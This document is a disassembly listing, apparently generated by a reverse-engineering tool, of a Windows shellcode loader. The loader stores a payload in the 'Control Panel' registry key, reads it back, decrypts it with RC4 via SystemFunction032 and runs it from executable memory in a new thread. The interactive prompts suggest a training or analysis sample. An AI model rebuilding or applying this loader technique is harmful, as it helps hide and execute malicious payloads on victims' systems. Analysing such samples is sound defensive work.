Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 via systemfunction032
Execute shellcode via indirect call
Query or enumerate registry value
Set registry value
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 0x10], rax
xor r14d, r14d
mov dword [rbp - 0x18], 0x30a
lea rcx, str.___Press__Enter__to_Write_Shellcode_to_registry..._n
mov qword [rbp - 0x30], r14
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rbx, [0x140005080]
mov qword [rbp - 0x40], r14
lea rdi, str.Alaa_Ghanim
mov rdx, rbx
lea r9, str.Control_Panel
mov qword [rsp + 0x20], rdi
mov r8d, 0x30a
lea rcx, str._i__Writing_0x_p__Size__ld__to___s_s__...__n
call fcn.140001010
lea rax, [rbp - 0x40]
xor r8d, r8d
lea r9d, [r14 + 2]
mov qword [rsp + 0x20], rax
lea rdx, str.Control_Panel
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, qword [rbp - 0x40]
lea r9d, [r14 + 3]
xor r8d, r8d
mov dword [rsp + 0x28], 0x30a
mov rdx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, str.___Done__n
call fcn.140001010
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x140001163
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____RegCloseKey_failed_with_error__d_n
call fcn.140001010
lea rcx, str.___Press__Enter__To_read_shellcode_from_registry..._n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rax, [rbp - 0x40]
mov dword [rbp - 0x40], r14d
mov qword [rsp + 0x30], rax
lea rdx, str.Control_Panel
mov qword [rsp + 0x28], r14
mov r9d, 0xffff
mov r8, rdi
mov qword [rsp + 0x20], r14
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x1400011c6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____RegGetValueA_failed_with_error__d_n
call fcn.140001010
jmp 0x14000126b
mov ebx, dword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x1400011fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_failed_with_error__d_n
call fcn.140001010
jmp 0x14000126b
lea rax, [rbp - 0x40]
mov r9d, 0xffff
mov qword [rsp + 0x30], rax
lea rdx, str.Control_Panel
mov qword [rsp + 0x28], rbx
mov r8, rdi
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x140001248
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____RegGetValueA_failed_with_error__d_n
call fcn.140001010
jmp 0x14000126b
mov edx, dword [rbp - 0x40]
cmp qword [rbp - 0x18], rdx
je 0x140001263
lea r8, [rbp - 0x18]
lea rcx, str.____Total_Bytes_Read_:__d___Instead_of_Reading_:__d_n
call fcn.140001010
jmp 0x14000126b
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x18], rdx
lea rcx, str.___Done__n
call fcn.140001010
lea rdx, [rbp - 0x30]
lea rcx, str._i__Payload_read_at_0x_p_n
call fcn.140001010
lea rcx, str._i__Press__Enter__to_Decrypt_shellcode...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rax, [0x140005390]
mov dword [rbp - 0x40], 0x10
mov qword [rbp - 0x38], rax
lea rcx, str.Advapi32
mov eax, dword [rbp - 0x18]
mov dword [rbp - 0x28], eax
mov dword [rbp - 0x24], eax
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x3c], 0x10
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x28]
call rax
test eax, eax
je 0x1400012fc
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
lea rcx, str.___Done__n
call fcn.140001010
lea rcx, str.___Press__Enter__to_run_shellcode..._n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov edi, dword [rbp - 0x18]
mov r9d, 4
mov rsi, qword [rbp - 0x30]
mov edx, edi
mov r8d, 0x3000
mov dword [rbp - 0x40], r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x14000135c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAlloc_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x140001408
mov rdx, rbx
lea rcx, str._i__Allocated_Memory_At_:_0x_p__n
call fcn.140001010
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8, rdi
xor edx, edx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memset
lea r9, [rbp - 0x40]
mov r8d, 0x40
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400013af
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____VirtualProtect_failed_with_error:__d_n
jmp 0x1400013f0
lea rcx, str.___Press__Enter__To_Run_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor r9d, r9d
mov qword [rsp + 0x28], r14
mov r8, rbx
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x14000141b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateThread_Failed_With_Error:__d__n
mov edx, eax
call fcn.140001010
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, str.____Running_shellcode_from_reg_failed__n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001449
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp - 0x30]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140001490
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret